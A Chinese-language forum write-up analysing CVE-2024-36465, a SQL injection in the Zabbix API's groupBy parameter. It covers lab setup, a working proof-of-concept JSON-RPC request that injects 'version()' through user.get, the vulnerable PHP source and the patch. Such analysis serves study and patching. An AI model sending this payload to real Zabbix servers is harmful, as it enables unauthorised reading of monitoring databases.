CVE-2024-36465:Zabbix SQL注入漏洞分析

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。

前言

仅供学习交流,请勿用于非法行为

看到有公众号发了漏洞描述,但没有详情,直接分析一手

漏洞简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。

影响版本

image.png

7.0.0 <= zabbix <= 7.0.7

7.2.0 <= zabbix <= 7.2.1

环境搭建

访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.7/

image.png

选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation

然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php 调试环境搭建

源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载

这里和虚拟机一样用 7.0.7 版本的,漏洞修复前的版本方便 diff 源码

后续步骤可参考之前写的一篇文章https://forum.butian.net/article/639

里面有两处小错误

  • wget 虚拟机里面没内置,可以用 curl 替代
  • tar 也没内置,可以用 yum install -y tar 安装

需要注意的是改完 php.ini 后需要用 systemctl restart php-fpm 重启一下(因为这个浪费好多时间)

漏洞复现

这个影响的是 include/classes/api/CApiService.php 这个文件的 applyQueryOutputOptions 方法,而提供 api 服务的各个类都继承了这个CApiService类,因此按道理调用了 parent::applyQueryOutputOptions()都是存在 SQL 注入利用可能的。这里选取了我们的老朋友,CUser 类

image.png

首先需要用账号密码获取 auth 字段,才能拿到 api 访问权限

POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

image.png

带上获取到的 auth 字段,构造 Poc 如下

POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.182.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 183

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": { "groupBy": ["roleid, version()", "roleid"], "userids": "1" },
  "auth": "019e6c5b253ba57e8158df85bb6aaf0d",
  "id": 1
}

image.png

漏洞分析

这里思路也很简单,直接 diff 源码看看改了什么

从刚刚搭建环境的源码链接中下一个 7.0.8 的

使用 vscode 插件 Compare Folders 进行 diff,可以轻松找到漏洞描述所说的地方

image.png

protected function applyQueryOutputOptions(string $table_name, string $table_alias, array $options,
                                           array $sql_parts) {
  $pk = $this->pk($table_name);
  $pk_composite = strpos($pk, ',') !== false;

  if (array_key_exists('countOutput', $options) && $options['countOutput']
      && !$this->requiresPostSqlFiltering($options)) {
    $has_joins = count($sql_parts['from']) > 1
      || (array_key_exists('left_join', $sql_parts) && $sql_parts['left_join']);

    if ($pk_composite && $has_joins) {
      throw new Exception('Joins with composite primary keys are not supported in this API version.');
    }

    $sql_parts['select'] = $has_joins
      ? ['COUNT(DISTINCT '.$this->fieldId($pk, $table_alias).') AS rowscount']
      : ['COUNT(*) AS rowscount'];

    // Select columns used by group count.
    if (array_key_exists('groupCount', $options) && $options['groupCount']) {
      foreach ($sql_parts['group'] as $fields) {
        $sql_parts['select'][] = $fields;
      }
    }
    elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
      foreach ($options['groupBy'] as $field) {
        $field = $this->fieldId($field, $table_alias);

        array_unshift($sql_parts['select'], $field);
        $sql_parts['group'][] = $field;
      }
    }
  }
  elseif (array_key_exists('groupBy', $options) && $options['groupBy']) {
    $sql_parts['select'] = [];

    foreach ($options['groupBy'] as $field) {
      $field = $this->fieldId($field, $table_alias);

      array_unshift($sql_parts['select'], $field);
      $sql_parts['group'][] = $field;
    }
  }
    // custom output
  elseif (is_array($options['output'])) {
    $sql_parts['select'] = $pk_composite ? [] : [$this->fieldId($pk, $table_alias)];

    foreach ($options['output'] as $field) {
      if ($this->hasField($field, $table_name)) {
        $sql_parts['select'][] = $this->fieldId($field, $table_alias);
      }
    }

    $sql_parts['select'] = array_unique($sql_parts['select']);
  }
    // extended output
  elseif ($options['output'] == API_OUTPUT_EXTEND) {
    // TODO: API_OUTPUT_EXTEND must return ONLY the fields from the base table
    $sql_parts = $this->addQuerySelect($this->fieldId('*', $table_alias), $sql_parts);
  }

  return $sql_parts;
}

protected function fieldId($fieldName, $tableAlias = null) {
  $tableAlias = $tableAlias ? $tableAlias : $this->tableAlias();

  return $tableAlias.'.'.$fieldName;
}

$options 就是我们可控的传参,很容易分析出 groupBy 字段可控时,可以控制 $sql_parts的 group

而在继承并调用的这个方法的类,如 CUser 类,会将 $sql_parts 解析为 sql 查询语句进行查询

image.png

protected static function createSelectQueryFromParts(array $sqlParts) {
  $sql_left_join = '';
  if (array_key_exists('left_join', $sqlParts)) {
    $l_table = DB::getSchema($sqlParts['left_table']['table']);

    foreach ($sqlParts['left_join'] as $left_join) {
      $sql_left_join .= ' LEFT JOIN '.$left_join['table'].' '.$left_join['alias'].' ON ';
      $sql_left_join .= array_key_exists('condition', $left_join)
        ? $left_join['condition']
        : $sqlParts['left_table']['alias'].'.'.$l_table['key'].'='.
          $left_join['alias'].'.'.$left_join['using'];
    }

    // Moving a left table to the end.
    $table_id = $sqlParts['left_table']['table'].' '.$sqlParts['left_table']['alias'];
    unset($sqlParts['from'][array_search($table_id, $sqlParts['from'])]);
    $sqlParts['from'][] = $table_id;
  }

  $sqlSelect = implode(',', array_unique($sqlParts['select']));
  $sqlFrom = implode(',', array_unique($sqlParts['from']));
  $sqlWhere = empty($sqlParts['where']) ? '' : ' WHERE '.implode(' AND ', array_unique($sqlParts['where']));
  $sqlGroup = empty($sqlParts['group']) ? '' : ' GROUP BY '.implode(',', array_unique($sqlParts['group']));
  $sqlOrder = empty($sqlParts['order']) ? '' : ' ORDER BY '.implode(',', array_unique($sqlParts['order']));

  return 'SELECT'.self::dbDistinct($sqlParts).' '.$sqlSelect.
      ' FROM '.$sqlFrom.
      $sql_left_join.
      $sqlWhere.
      $sqlGroup.
      $sqlOrder;
}

可以看到这里直接拼接到 SQL 语句中,而且还有一个细节,正常来说是 group by 后面的语句可控,那还不是那么好注入的,但但但是

image.png

这里给可控的 groupBy 字段给复制到了 select 后面那个 column 所在的 part,所以 poc 也很容易构造

image.png

修复补丁

这里修复的也很简单,就是在给 $sql_parts 赋值前检查这个表里面是否存在这个字段(比如 CUser 这个类的就是寻找 user 表)

而且他检查是否存在也是给整个表的字段查询出来然后用 isset 去判断的,也不存在 SQL 可控,所以就没法在这构造其他非预期的语句了

image.png

protected function hasField($fieldName, $tableName = null) {
  $schema = $this->getTableSchema($tableName);

  return isset($schema['fields'][$fieldName]);
}

结语

如有错误,请各位看官大佬多多指点

  • 发表于 2025-04-09 10:45:58
  • 阅读 ( 4711 )
  • 分类:Web应用

1 条评论

ph0ebus
最后那张图我编辑的时候不小心贴错了,应该是这张Orz https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/04/attach-61ab433cdc31055c8a8be15b180b2f951bfe497a.png
请先 登录 后评论
请先 登录 后评论
ph0ebus
ph0ebus

4 篇文章

站长统计